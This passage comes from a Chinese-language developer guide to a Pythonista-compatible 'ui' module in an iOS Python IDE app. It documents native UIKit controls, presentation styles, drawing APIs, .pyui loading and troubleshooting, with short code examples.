[ScrollView 滚动视图](#15-scrollview-滚动视图) -16. [TableView 表格视图](#16-tableview-表格视图) -17. [WebView 网页视图](#17-webview-网页视图) -18. [ActivityIndicator 加载指示器](#18-activityindicator-加载指示器) -18b. [ProgressView 进度条](#18b-progressview-进度条) -18c. [Stepper 步进器](#18c-stepper-步进器) -19. [NavigationView 导航视图](#19-navigationview-导航视图) -20. [自定义 View 与绘图](#20-自定义-view-与绘图)(含 Path 新方法、Image 新方法、函数式 ImageContext) -21. [load_view 与 load_view_str](#21-load_view-与-load_view_str) -22. [animate 与工具函数](#22-animate-与工具函数) -23. [常量与枚举](#23-常量与枚举) -24. [常见问题与排错](#24-常见问题与排错) - ---- - -## 1. 概述 - -Python IDE 内置的 `ui` 模块提供与 [Pythonista](https://omz-software.com/pythonista/) 高度兼容的 iOS 原生界面能力。你可以在 Python 脚本中创建视图、按钮、标签、文本框、图片、列表等控件,并通过 `present()` 以全屏、半屏或弹出框形式展示,完全使用系统原生 UIKit 组件,无需 WebView 或跨平台框架。 - -### 主要特性 - -- **完全 Pythonista 兼容**:常用 API 与 Pythonista 保持一致,方便脚本迁移 -- **真实 UIKit 渲染**:所有控件均为 iOS 原生组件,性能与系统 App 一致 -- **无需安装**:`import ui` 即可使用,内置于 Python IDE -- **支持自绘**:可通过 `draw()`、`ImageContext`、`Path` 等 API 进行自定义绘图 -- **支持 .pyui 文件**:可使用 JSON 或 plist 格式的界面描述文件快速构建界面 - -### 支持的控件一览 - -| 控件 | 类名 | 说明 | -|------|------|------| -| 基础视图 | `ui.View` | 所有视图的基类,可设置 frame、背景色、圆角等 | -| 按钮 | `ui.Button` | 可设置标题、颜色、点击回调 | -| 标签 | `ui.Label` | 显示单行或多行文本,支持字体、对齐 | -| 单行输入 | `ui.TextField` | 单行文本输入框 | -| 多行文本 | `ui.TextView` | 多行可编辑文本,支持 delegate | -| 图片 | `ui.ImageView` | 显示图片,支持网络加载 | -| 开关 | `ui.Switch` | 布尔开关控件 | -| 滑块 | `ui.Slider` | 0~1 连续数值滑块 | -| 分段控件 | `ui.SegmentedControl` | 多个选项切换 | -| 日期选择器 | `ui.DatePicker` | 日期/时间/日期时间选择 | -| 滚动视图 | `ui.ScrollView` | 可滚动内容区域,支持 delegate | -| 表格视图 | `ui.TableView` | 列表展示,支持 data_source、action、delegate | -| 网页视图 | `ui.WebView` | 加载 URL 或 HTML,支持 eval_js | -| 加载指示器 | `ui.ActivityIndicator` | 转圈加载动画 | -| 进度条 | `ui.ProgressView` | 线性进度条(0~1 进度) | -| 步进器 | `ui.Stepper` | +/- 按钮,可设范围与步长 | -| 导航视图 | `ui.NavigationView` | 带导航栏的栈式页面管理 | -| 画布视图 | `ui.CanvasView` | 自绘视图,重写 draw 方法 | - ---- - -## 2. 架构说明 - -### 调用流程 - -``` -Python (ui.py) - ↓ ctypes 调用 C 函数 -Swift (UIBridge.swift) — 导出 @_cdecl 的 C 接口 - ↓ -Swift (UIModule.swift) — UIViewWrapper、UICallbackManager - ↓ -UIKit (UIView、UIButton、UILabel、...) -``` - -- **Python 侧**:`pyboot/ui.py` 通过 `ctypes.CDLL(None)` 加载主程序符号,调用 `ui_create_view`、`ui_set_frame` 等 C 函数 -- **Swift 侧**:`UIBridge.swift` 导出所有 `ui_*` C 函数,内部调用 `UIBridge.shared` 的对应方法 -- **回调机制**:当用户点击按钮、选择表格行等时,Swift 通过 `UICallbackManager.triggerCallback` 执行 Python 代码,Python 通过 `ui._callbacks[callbackID]` 查找并调用注册的回调函数 - -### 视图 ID - -每个创建的视图在 Swift 端都有一个唯一的 `view_id`(字符串),Python 侧通过 `_view_id` 属性持有。所有属性设置、方法调用都会把 `_view_id` 传给 C 接口,以便 Swift 找到对应的原生视图。 - ---- - -## 3. 快速开始 - -### 最简示例:弹出一个带按钮的界面 - -```python -import ui - -# 创建根视图 -v = ui.View() -v.background_color = 'white' -v.frame = (0, 0, 300, 400) - -# 创建按钮 -btn = ui.Button(title='点击我') -btn.frame = (50, 150, 200, 50) -btn.action = lambda sender: print('按钮被点击了') - -# 将按钮添加到根视图 -v.add_subview(btn) - -# 以 sheet 形式展示(从底部弹出的半屏) -v.present('sheet') -``` - -**运行方式**:在 Python IDE 编辑器中打开此脚本,点击右下角运行按钮,即可看到原生界面弹出。 - -### 带标题的展示 - -```python -import ui - -v = ui.View() -v.background_color = 'white' -v.frame = (0, 0, 320, 480) -v.title = '我的界面' # 设置展示时的导航栏标题 - -btn = ui.Button(title='关闭') -btn.frame = (110, 200, 100, 44) -def on_close(sender): - v.close() -btn.action = on_close -v.add_subview(btn) - -v.present('sheet') -``` - ---- - -## 4. View 基础 - -所有控件的基类,提供位置、尺寸、颜色、子视图管理等功能。 - -### 创建 - -```python -v = ui.View() -v = ui.View(frame=(0, 0, 320, 480)) # 可指定初始 frame -``` - -### 属性(完整列表) - -| 属性 | 类型 | 说明 | -|------|------|------| -| `frame` | `(x, y, width, height)` | 视图在其父视图中的位置和尺寸,单位为点(pt) | -| `bounds` | `(x, y, width, height)` | 相对于自身坐标系的矩形,只读,通常为 (0, 0, width, height) | -| `center` | `(x, y)` | 视图中心点在父视图中的坐标 | -| `x` | `float` | frame 的 x,即左边距 | -| `y` | `float` | frame 的 y,即上边距 | -| `width` | `float` | frame 的宽度 | -| `height` | `float` | frame 的高度 | -| `background_color` | `str` 或 `tuple` | 背景颜色,见下方颜色格式 | -| `bg_color` | 同上 | `background_color` 的别名 | -| `alpha` | `float` | 透明度,0.0(完全透明)~ 1.0(不透明) | -| `hidden` | `bool` | 是否隐藏视图 | -| `corner_radius` | `float` | 圆角半径,0 表示直角 | -| `border_width` | `float` | 边框宽度 | -| `border_color` | `str` 或 `tuple` | 边框颜色 | -| `content_mode` | `int` | 内容缩放模式,见常量 `CONTENT_*` | -| `tint_color` | `str` 或 `tuple` | 着色颜色,影响子控件等 | -| `flex` | `str` | 自动调整规则,如 `'W'` 宽度、`'H'` 高度、`'WH'` 宽高、`'TRBL'` 四边等 | -| `name` | `str` | 视图名称,用于 load_view 绑定和 `view['name']` 查找 | -| `touch_enabled` | `bool` | 是否响应触摸,默认 True | -| `multitouch_enabled` | `bool` | 是否支持多点触控,默认 False | -| `transform` | `ui.Transform` 或 `None` | 仿射变换 | -| `clips_to_bounds` | `bool` | 是否裁剪超出边界的子视图 | -| `accessibility_label` | `str` | 无障碍标签(VoiceOver 朗读) | -| `accessibility_value` | `str` | 无障碍值 | -| `accessibility_hint` | `str` | 无障碍提示 | -| `title` | `str` | 展示时的导航栏标题(present 时生效) | -| `left_button_items` | `tuple` | 导航栏左侧按钮项列表 | -| `right_button_items` | `tuple` | 导航栏右侧按钮项列表 | - -### 颜色格式 - -支持以下格式: - -```python -v.background_color = 'white' # 预设名称 -v.background_color = 'red' -v.background_color = (1, 0, 0, 1) # RGBA,每通道 0~1 -v.background_color = (1, 0, 0, 0.5) # 半透明红 -v.background_color = '#ff0000' # 十六进制,6 位或 8 位 -v.background_color = '#ff000080' # 含 alpha -``` - -### 方法 - -| 方法 | 说明 | -|------|------| -| `add_subview(v)` | 将视图 `v` 添加为子视图 | -| `remove_subview(v)` | 从子视图中移除 `v` | -| `remove_from_superview()` | 从父视图中移除自己 | -| `bring_to_front()` | 移到同层级最前面 | -| `send_to_back()` | 移到同层级最后面 | -| `bring_subview_to_front(subview)` | 将指定子视图移到最前面 | -| `send_subview_to_back(subview)` | 将指定子视图移到最后面 | -| `set_needs_display()` | 标记需要重绘(自定义 View 的 draw 会被调用) | -| `set_needs_layout()` | 请求布局更新 | -| `size_to_fit()` | 按内容自动收缩尺寸 | -| `point_from_window(point)` | 将窗口坐标转为视图坐标 | -| `point_to_window(point)` | 将视图坐标转为窗口坐标 | - -### 只读属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `subviews` | `tuple` | 所有子视图的元组 | -| `superview` | `View` 或 `None` | 父视图 | - -### 按名称查找子视图 - -```python -v.add_subview(btn) -btn.name = 'submit_btn' -# 稍后可通过名称查找 -found = v['submit_btn'] # 等同于按 name 遍历 subviews -``` - -### 示例:创建一个带圆角和边框的卡片视图 - -```python -import ui - -card = ui.View() -card.frame = (20, 100, 280, 150) -card.background_color = 'white' -card.corner_radius = 12 -card.border_width = 1 -card.border_color = (0.8, 0.8, 0.8, 1) - -label = ui.Label(text='卡片内容') -label.frame = (20, 20, 240, 30) -card.add_subview(label) -``` - ---- - -## 5. present 与展示 - -### present 方法 - -```python -v.present(style='fullscreen', animated=True, hide_title_bar=False) -``` - -| 参数 | 类型 | 说明 | -|------|------|------| -| `style` | `str` | 展示样式:`'fullscreen'`、`'full_screen'`(同上)、`'sheet'`、`'popover'` | -| `animated` | `bool` | 是否使用过渡动画,默认 True | -| `hide_title_bar` | `bool` | 是否隐藏导航栏标题栏,默认 False | - -### 展示样式说明 - -- **fullscreen**:全屏展示,占据整个屏幕 -- **sheet**:从底部弹出的半屏模态,可下滑关闭 -- **popover**:弹出框样式(iPad 上更常用) - -### 关闭视图 - -```python -v.close() # 关闭当前展示的视图 -ui.close_all() # 关闭所有已展示的界面 -ui.close_all(animated=False) # 无动画关闭 -``` - -### 阻塞等待关闭 - -```python -v.present('sheet') -v.wait_modal() # 阻塞直到用户关闭视图,常用于需要等待用户操作后再继续的流程 -``` - -### NavigationView:栈式导航 - -```python -import ui - -root = ui.View() -root.background_color = 'white' -root.frame = (0, 0, 320, 480) - -nv = ui.NavigationView(root) -nv.navigation_bar_hidden = False # 是否隐藏导航栏 -nv.bar_tint_color = 'white' # 导航栏背景色 - -# 推入新页面 -def go_next(sender): - next_view = ui.View() - next_view.background_color = 'white' - next_view.frame = (0, 0, 320, 480) - nv.push_view(next_view, animated=True) - -btn = ui.Button(title='下一页') -btn.frame = (110, 200, 100, 44) -btn.action = go_next -root.add_subview(btn) - -nv.present('sheet') -``` - -| 方法 | 说明 | -|------|------| -| `push_view(view, animated=True)` | 将新视图推入导航栈 | -| `pop_view(animated=True)` | 弹出当前视图,返回上一页 | - ---- - -## 6. Button 按钮 - -### 创建 - -```python -btn = ui.Button() -btn = ui.Button(title='确定') -btn = ui.Button(frame=(50, 100, 200, 44)) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 按钮标题文字 | -| `title_color` | `str` 或 `tuple` | 标题颜色 | -| `font` | `tuple` 或 `str` | 字体,如 `('Helvetica-Bold', 18)` | -| `image` | `ui.Image` | 前景图 | -| `background_image` | `ui.Image` | 背景图 | -| `enabled` | `bool` | 是否可点击,默认 True | - -### action 回调 - -点击按钮时调用,接收一个参数 `sender`(即按钮本身): - -```python -def on_tap(sender): - print('按钮被点击') - print(sender.title) - -btn.action = on_tap -# 或使用 lambda -btn.action = lambda s: print(s.title) -``` - -### 完整示例 - -```python -import ui - -v = ui.View() -v.background_color = 'white' -v.frame = (0, 0, 300, 400) - -btn = ui.Button(title='提交') -btn.frame = (50, 150, 200, 44) -btn.title_color = 'blue' -btn.enabled = True -btn.action = lambda s: print('提交') -v.add_subview(btn) - -v.present('sheet') -``` - ---- - -## 7. Label 标签 - -### 创建 - -```python -lbl = ui.Label() -lbl = ui.Label(text='Hello') -lbl = ui.Label(frame=(10, 10, 300, 40)) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `text` | `str` | 显示的文本 | -| `text_color` | `str` 或 `tuple` | 文字颜色 | -| `font` | `(name, size)` 或 `str` | 字体,如 `('Helvetica', 17)`、`(' ', 17)` 表示系统字体 | -| `alignment` | `int` | 对齐:0 左、1 中、2 右 | -| `number_of_lines` | `int` | 最大行数,0 表示不限制 | -| `line_break_mode` | `int` | 换行模式 | -| `adjusts_font_size_to_fit` | `bool` | 是否自动缩小字体以适应 | -| `minimum_scale_factor` | `float` | 自动缩小时的最小比例 | - -### 示例 - -```python -lbl = ui.Label(text='标题') -lbl.frame = (20, 20, 280, 40) -lbl.font = ('Helvetica', 24) -lbl.alignment = 1 # 居中 -lbl.text_color = 'black' -``` - ---- - -## 8. TextField 单行输入框 - -### 创建 - -```python -tf = ui.TextField() -tf = ui.TextField(placeholder='请输入') -tf = ui.TextField(text='初始值') -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `text` | `str` | 当前输入的文本 | -| `placeholder` | `str` | 占位提示文字 | -| `text_color` | `str` 或 `tuple` | 文字颜色 | -| `font` | `tuple` | 字体,如 `('Helvetica', 16)` | -| `alignment` | `int` | 对齐方式 | -| `secure` | `bool` | 是否为密码输入(遮罩显示) | -| `keyboard_type` | `int` | 键盘类型 | -| `autocapitalization_type` | `int` | 自动大写(`0` 无 / `1` 单词 / `2` 句子 / `3` 全部) | -| `autocorrection_type` | `int` | 自动更正(`0` 默认 / `1` 关闭 / `2` 开启) | -| `spellchecking_type` | `int` | 拼写检查(`0` 默认 / `1` 关闭 / `2` 开启) | -| `clear_button_mode` | `int` | 清除按钮出现时机(`0` 不显示 / `1` 编辑时 / `3` 始终) | -| `return_key_type` | `int` | 回车键类型(`0` 默认 / `4` Search / `9` Done 等) | -| `bordered` | `bool` | 是否显示边框样式 | - -### 回调 - -```python -tf.action = lambda sender: print('输入内容:', sender.text) # 回车/失焦 -tf.began_editing = lambda sender: print('开始编辑') # 获取焦点 -tf.ended_editing = lambda sender: print('结束编辑') # 失去焦点 -``` - ---- - -## 9. TextView 多行文本 - -### 创建 - -```python -tv = ui.TextView() -tv = ui.TextView(text='多行文本内容') -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `text` | `str` | 文本内容 | -| `editable` | `bool` | 是否可编辑 | -| `selectable` | `bool` | 是否可选中等 | -| `text_color` | `str` 或 `tuple` | 文字颜色 | -| `font` | `(name, size)` | 字体 | -| `alignment` | `int` | 文本对齐 `ui.ALIGN_*` | -| `selected_range` | `(start, length)` | 当前选中范围 | -| `content_size` | `(w, h)` | 只读,文本内容尺寸 | -| `content_offset` | `(x, y)` | 滚动偏移 | -| `auto_content_inset` | `bool` | 是否自动适应键盘边距 | - -### 回调 - -```python -tv.began_editing = lambda sender: print('开始编辑') -tv.ended_editing = lambda sender: print('结束编辑') -``` - -### delegate 委托 - -可设置一个对象,实现以下方法以响应编辑事件: - -| 方法 | 说明 | -|------|------| -| `textview_did_begin_editing(textview)` | 开始编辑时调用 | -| `textview_did_change(textview)` | 内容变化时调用 | -| `textview_did_end_editing(textview)` | 结束编辑时调用 | - -```python -class MyDelegate: - def textview_did_begin_editing(self, tv): - print('开始编辑') - def textview_did_end_editing(self, tv): - print('结束编辑') - -tv = ui.TextView(text='') -tv.delegate = MyDelegate() -``` - ---- - -## 10. ImageView 图片视图 - -### 创建 - -```python -iv = ui.ImageView() -iv = ui.ImageView(frame=(0, 0, 200, 200)) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `image` | `PIL.Image` 或 `ui.Image` | 要显示的图片 | -| `content_mode` | `int` | 缩放模式,如 `ui.CONTENT_SCALE_TO_FILL` | - -### 方法 - -| 方法 | 说明 | -|------|------| -| `load_from_url(url)` | 异步从网络 URL 加载图片 | - -### 示例 - -```python -iv = ui.ImageView() -iv.frame = (20, 20, 280, 200) -iv.load_from_url('https://example.com/image.png') -# 或使用本地图片 -# iv.image = ui.Image.named('local.png') -``` - ---- - -## 11. Switch 开关 - -### 创建 - -```python -sw = ui.Switch() -sw = ui.Switch(value=True) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `value` | `bool` | 开关状态,True 开、False 关 | -| `enabled` | `bool` | 是否可用 | - -### action 回调 - -值改变时调用: - -```python -sw.action = lambda sender: print('开关状态:', sender.value) -``` - ---- - -## 12. Slider 滑块 - -### 创建 - -```python -sl = ui.Slider() -sl = ui.Slider(frame=(20, 100, 280, 30)) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `value` | `float` | 当前值,0.0 ~ 1.0 | -| `continuous` | `bool` | 是否在拖动过程中持续触发 action | - -### action 回调 - -```python -sl.action = lambda sender: print('值:', sender.value) -``` - ---- - -## 13. SegmentedControl 分段控件 - -### 创建 - -```python -seg = ui.SegmentedControl() -seg.frame = (20, 100, 280, 32) -seg.segments = ['选项 A', '选项 B', '选项 C'] # 或用换行分隔的字符串 -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `segments` | `list` 或 `str` | 分段标题列表,或换行分隔字符串 | -| `selected_index` | `int` | 当前选中的索引 | - -### action 回调 - -```python -seg.action = lambda sender: print('选中:', sender.selected_index) -``` - ---- - -## 14. DatePicker 日期选择器 - -### 创建 - -```python -dp = ui.DatePicker() -dp.frame = (20, 100, 280, 200) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `date` | `float` | 当前选中的日期时间戳 | -| `mode` | `str` | `'date'`、`'time'`、`'datetime'` | -| `enabled` | `bool` | 是否可用 | - -### action 回调 - -```python -dp.action = lambda sender: print('选中时间:', sender.date) -``` - ---- - -## 15. ScrollView 滚动视图 - -### 创建 - -```python -sv = ui.ScrollView() -sv.frame = (0, 0, 320, 400) -sv.content_size = (320, 800) # 内容区域尺寸 -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `content_size` | `(width, height)` | 内容区域尺寸 | -| `content_offset` | `(x, y)` | 当前滚动偏移 | -| `content_inset` | `(top, left, bottom, right)` | 内容内边距 | -| `bounces` | `bool` | 是否允许回弹效果 | -| `always_bounce_horizontal` | `bool` | 水平方向是否始终回弹 | -| `always_bounce_vertical` | `bool` | 垂直方向是否始终回弹 | -| `scroll_enabled` | `bool` | 是否允许滚动 | -| `paging_enabled` | `bool` | 是否分页滚动 | -| `shows_vertical_scroll_indicator` | `bool` | 是否显示垂直滚动条 | -| `shows_horizontal_scroll_indicator` | `bool` | 是否显示水平滚动条 | -| `zoom_scale` | `float` | 当前缩放比例 | -| `min_zoom_scale` | `float` | 最小缩放比例 | -| `max_zoom_scale` | `float` | 最大缩放比例 | - -### 方法 - -| 方法 | 说明 | -|------|------| -| `scroll_to(x, y, animated=True)` | 滚动到指定偏移 | - -### delegate 委托 - -设置 `scrollview_did_scroll(x, y)` 回调,在滚动时持续触发: - -```python -class MyDelegate: - def scrollview_did_scroll(self, x, y): - print('滚动到:', x, y) - -sv = ui.ScrollView() -sv.content_size = (300, 800) -sv.delegate = MyDelegate() -``` - -### 示例:可滚动的长内容 - -```python -sv = ui.ScrollView() -sv.frame = (0, 0, 320, 400) -sv.content_size = (320, 1200) -sv.bounces = True -sv.always_bounce_vertical = True - -# 添加一个很长的标签作为内容 -lbl = ui.Label(text='很长很长的一段文本...') -lbl.frame = (10, 10, 300, 1180) -sv.add_subview(lbl) - -root.add_subview(sv) -``` - ---- - -## 16. TableView 表格视图 - -### 创建 - -```python -tv = ui.TableView() -tv.frame = (0, 0, 320, 400) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `data_source` | `list` | 数据源,见下方格式 | -| `action` | `callable` | 行选择回调 | -| `delegate` | `object` | 委托对象 | -| `row_height` | `float` | 默认行高 | -| `editing` | `bool` | 是否处于编辑模式 | -| `selected_row` | `tuple` | 当前选中行 `(section, row)` | -| `separator_color` | `str` 或 `tuple` | 分隔线颜色 | -| `allows_selection` | `bool` | 是否允许选中 | -| `allows_multiple_selection` | `bool` | 是否允许多选 | -| `delete_enabled` | `bool` | 是否允许左滑删除 | -| `move_enabled` | `bool` | 是否允许拖拽排序 | - -### data_source 格式 - -- 一维列表:`[{'title': 'A', 'subtitle': 'a'}, {'title': 'B'}]` -- 二维列表(多 section):`[[{...}, {...}], [{...}]]` -- 每个元素至少包含 `title`,可选 `subtitle` - -### action 回调 - -```python -tv.action = lambda sender, section, row: print('选中', section, row) -``` - -### delegate - -可实现 `tableview_did_select(tableview, section, row)` 方法。 - -### 方法 - -| 方法 | 说明 | -|------|------| -| `reload_data()` | 刷新表格显示 | - -### 示例 - -```python -tv = ui.TableView() -tv.frame = (0, 0, 320, 400) -tv.data_source = [ - {'title': '第一行', 'subtitle': '说明'}, - {'title': '第二行'}, - {'title': '第三行', 'subtitle': '另一说明'}, -] -tv.action = lambda s, sec, r: print(f'Section {sec}, Row {r}') -tv.reload_data() -root.add_subview(tv) -``` - ---- - -## 17. WebView 网页视图 - -### 创建 - -```python -wv = ui.WebView() -wv.frame = (0, 0, 320, 400) -``` - -### 方法 - -| 方法 | 说明 | -|------|------| -| `load_url(url)` | 加载指定 URL | -| `load_html(html, base_url=None)` | 加载 HTML 字符串 | -| `go_back()` | 后退 | -| `go_forward()` | 前进 | -| `reload()` | 刷新 | -| `stop()` | 停止加载 | -| `eval_js(code, callback=None)` | 执行 JavaScript,callback 接收结果字符串 | - -### 示例 - -```python -wv = ui.WebView() -wv.frame = (0, 0, 320, 400) -wv.load_url('https://www.apple.com') -# 执行 JS 并获取结果 -wv.eval_js('document.title', lambda result: print('标题:', result)) -``` - ---- - -## 18. ActivityIndicator 加载指示器 - -### 创建 - -```python -ai = ui.ActivityIndicator() -ai.frame = (140, 200, 37, 37) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `animating` | `bool` | 是否正在旋转 | -| `style` | `int` | 样式:`ACTIVITY_INDICATOR_STYLE_GRAY`、`WHITE`、`WHITE_LARGE` | -| `hides_when_stopped` | `bool` | 停止时是否隐藏 | - -### 方法 - -```python -ai.start() # 或 ai.start_animating() -ai.stop() # 或 ai.stop_animating() -``` - ---- - -## 18b. ProgressView 进度条 - -### 创建 - -```python -pv = ui.ProgressView() -pv.frame = (20, 100, 280, 10) -pv.progress = 0.5 # 50% -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `progress` | `float` | 进度值,0.0 ~ 1.0 | -| `progress_tint_color` | `str` 或 `tuple` | 已完成部分颜色 | -| `track_tint_color` | `str` 或 `tuple` | 未完成部分(轨道)颜色 | - -### 示例 - -```python -import ui - -v = ui.View(frame=(0, 0, 300, 200), background_color='white') -pv = ui.ProgressView() -pv.frame = (20, 80, 260, 10) -pv.progress = 0.7 -pv.progress_tint_color = '#4CD964' -pv.track_tint_color = '#E5E5EA' -v.add_subview(pv) -v.present('sheet') -``` - ---- - -## 18c. Stepper 步进器 - -### 创建 - -```python -st = ui.Stepper() -st.frame = (100, 100, 94, 29) -``` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `value` | `float` | 当前数值 | -| `minimum_value` | `float` | 最小值(默认 0) | -| `maximum_value` | `float` | 最大值(默认 100) | -| `step_value` | `float` | 步进值(默认 1) | -| `continuous` | `bool` | 长按是否连续变化 | -| `wraps` | `bool` | 超出范围时是否循环 | -| `tint_color` | `str` 或 `tuple` | 着色 | -| `enabled` | `bool` | 是否可用 | - -### 回调 - -```python -st.action = lambda sender: print('当前值:', sender.value) -``` - -### 示例 - -```python -import ui - -v = ui.View(frame=(0, 0, 300, 200), background_color='white') -label = ui.Label(frame=(100, 50, 100, 30), text='0') -label.alignment = ui.ALIGN_CENTER - -st = ui.Stepper() -st.frame = (103, 100, 94, 29) -st.minimum_value = 0 -st.maximum_value = 10 -st.step_value = 1 -def on_step(sender): - label.text = str(int(sender.value)) -st.action = on_step - -v.add_subview(label) -v.add_subview(st) -v.present('sheet') -``` - ---- - -## 19. NavigationView 导航视图 - -见 [5. present 与展示](#5-present-与展示) 中的 NavigationView 部分。 - ---- - -## 20. 自定义 View 与绘图 - -### 继承 View 并重写 draw - -```python -class MyView(ui.View): - def draw(self): - # 在视图上绘制 - pass -``` - -### 触摸回调 - -| 方法 | 说明 | -|------|------| -| `touch_began(touch)` | 手指按下 | -| `touch_moved(touch)` | 手指移动 | -| `touch_ended(touch)` | 手指抬起 | - -`touch` 对象有 `location`、`prev_location` 等属性。 - -### CanvasView 与 ImageContext - -`CanvasView` 用于自定义绘制,需重写 `draw` 方法,内部使用 `ImageContext` 和 `Path` 等 API: - -```python -import ui - -def draw_canvas(canvas): - with ui.ImageContext(200, 200) as ctx: - ui.set_color('red') - ui.fill_rect(0, 0, 200, 200) - ui.set_color('white') - ui.draw_string('Hello', rect=(50, 80, 100, 40)) - img = ctx.get_image() - if img: - canvas.image = img - -cv = ui.CanvasView() -cv.frame = (60, 100, 200, 200) -cv.render = draw_canvas # 或继承 CanvasView 重写 draw -``` - -### 绘图 API 简要 - -| API | 说明 | -|-----|------| -| `ui.set_color(color)` | 设置绘图颜色 | -| `ui.fill_rect(x, y, w, h)` | 填充矩形 | -| `ui.stroke_rect(x, y, w, h)` | 描边矩形 | -| `ui.draw_string(text, rect=(x,y,w,h))` | 绘制文本 | -| `Path.rect(x, y, w, h)` | 矩形路径 | -| `Path.oval(x, y, w, h)` | 椭圆路径 | -| `Path.round_rect(x, y, w, h, r)` | 圆角矩形 | -| `path.fill()` / `path.stroke()` | 填充/描边路径 | -| `path.move_to(x, y)` / `path.line_to(x, y)` | 直线路径 | -| `path.add_arc(cx, cy, r, start, end, clockwise)` | 圆弧 | -| `path.add_curve(...)` | 贝塞尔曲线 | -| `path.add_rect(x, y, w, h)` | 矩形子路径 | -| `path.add_oval(x, y, w, h)` | 椭圆子路径 | -| `path.copy()` | 深拷贝路径 | -| `path.hit_test(x, y)` | 判断点是否在路径内部 | -| `path.get_bounding_box()` | 返回路径外接矩形 `(x, y, w, h)` | -| `GState()` | 保存/恢复绘图状态 | -| `ui.set_blend_mode(mode)` | 混合模式 | -| `ui.set_shadow(...)` | 阴影 | - -### ImageContext - -**方式一:上下文管理器(推荐)** - -```python -with ui.ImageContext(200, 200) as ctx: - ui.set_color('blue') - ui.fill_rect(0, 0, 200, 200) - img = ctx.get_image() # ui.Image -``` - -**方式二:函数式 API** - -```python -ui.begin_image_context(200, 200) -ui.set_color('red') -ui.fill_rect(0, 0, 200, 200) -img = ui.get_image_from_current_context() # ui.Image -ui.end_image_context() -``` - -### Image 类 - -| 入口 | 说明 | -|------|------| -| `ui.Image.named(name)` | 内置或捆绑资源名 | -| `ui.Image.from_data(data)` | 自字节加载 | -| `ui.Image.from_image_context()` | 获取当前离屏上下文的 Image | -| `ui.Image(name)` | 等价于 `Image.named(name)` | - -| 属性 / 方法 | 说明 | -|-------------|------| -| `size` | `(w, h)` | -| `to_png()` | 返回 PNG `bytes` | -| `resized(size)` | 缩放副本 | -| `cropped(rect)` | 裁剪副本 | -| `crop(rect)` | 裁剪副本 `(x, y, w, h)`,原生实现 | -| `clip_to_mask(mask)` | 使用另一个 Image 的 alpha 通道裁剪 | -| `with_rendering_mode(mode)` | 模板/原色渲染模式 | - ---- - -## 21. load_view 与 load_view_str - -### load_view(name, bindings=None, ...) - -从文件加载界面。`name` 为文件名(不含扩展名会自动加 `.pyui`),支持 JSON 和 plist 格式。会在当前工作目录和用户主目录下查找。 - -```python -v = ui.load_view('MyView') -v = ui.load_view('MyView', bindings={'submit': on_submit}) -``` - -### load_view_str(json_str, bindings=None, ...) - -从 JSON 字符串加载: - -```python -json_str = ''' -{ - "UIView": { - "frame": "{{0,0},{320,400}}", - "subviews": [ - {"UIButton": {"frame": "{{50,100},{200,44}}", "title": "确定"}} - ] - } -} -''' -v = ui.load_view_str(json_str, bindings={'submit': on_submit}) -``` - -### frame 格式 - -`.pyui` 中 frame 使用 `{{x,y},{width,height}}` 格式,例如 `{{0,0},{320,480}}`。 - -### bindings - -将名称映射到可调用对象,用于绑定按钮的 action 等。在 JSON 中若某控件有 `"action": "submit"`,则会在 bindings 中查找 `submit` 并设为 action。 - ---- - -## 22. animate 与工具函数 - -### animate - -```python -ui.animate(animation, duration=0.25, delay_sec=0.0, completion=None) -``` - -- `animation`:可调用对象,无参数,在延迟后执行 -- `duration`:动画持续秒数(当前实现中,completion 在此时间后调用) -- `delay_sec`:延迟秒数后再执行 animation -- `completion`:可调用对象,在 duration 秒后执行 - -**注意**:animation 回调为异步执行,视图属性变更会立即生效,不会参与 UIKit 的渐变动画。若需流畅的属性动画,需在 animation 中预先设置好目标值。 - -### 工具函数 - -| 函数 | 说明 | -|------|------| -| `ui.get_screen_size()` | 返回 `(width, height)` 屏幕尺寸 | -| `ui.get_window_size()` | 返回窗口尺寸 | -| `ui.get_ui_style()` | 返回 `'light'` 或 `'dark'` | -| `ui.convert_point(point, from_view, to_view)` | 坐标转换 | -| `ui.convert_rect(rect, from_view, to_view)` | 矩形转换 | -| `ui.measure_string(text, font, max_width)` | 测量文本尺寸,返回 `(width, height)` | -| `ui.close_all(animated=False)` | 关闭所有已展示界面 | -| `ui.dump_view(view)` | 调试用,输出视图树 | -| `ui.delay(sec, fn)` | 延迟执行 | -| `ui.in_background(fn)` | 在后台线程执行 | - ---- - -## 23. 常量与枚举 - -### 内容模式 CONTENT_* - -| 常量 | 说明 | -|------|------| -| `ui.CONTENT_SCALE_TO_FILL` | 拉伸填满 | -| `ui.CONTENT_SCALE_ASPECT_FIT` | 保持比例适配 | -| `ui.CONTENT_SCALE_ASPECT_FILL` | 保持比例填满 | -| `ui.CONTENT_REDRAW` | 重绘 | -| 等 | 对应 UIView.ContentMode | - -### ActivityIndicator 样式 - -| 常量 | 说明 | -|------|------| -| `ui.ACTIVITY_INDICATOR_STYLE_GRAY` | 灰色 | -| `ui.ACTIVITY_INDICATOR_STYLE_WHITE` | 白色 | -| `ui.ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` | 大号白色 | - -### Line break / alignment - -与系统 UILabel 等对齐、换行常量一致,具体见 Pythonista 文档。 - ---- - -## 24. 常见问题与排错 - -### AttributeError: 属性不存在 - -- 检查属性名是否与文档一致(如 `background_color` 不是 `backgroundColor`) -- 确认该控件支持该属性 - -### 回调不触发(action、delegate 无反应) - -- 确认已正确设置 `action` 或 `delegate` -- 检查 `enabled` 是否为 True -- 若为自定义 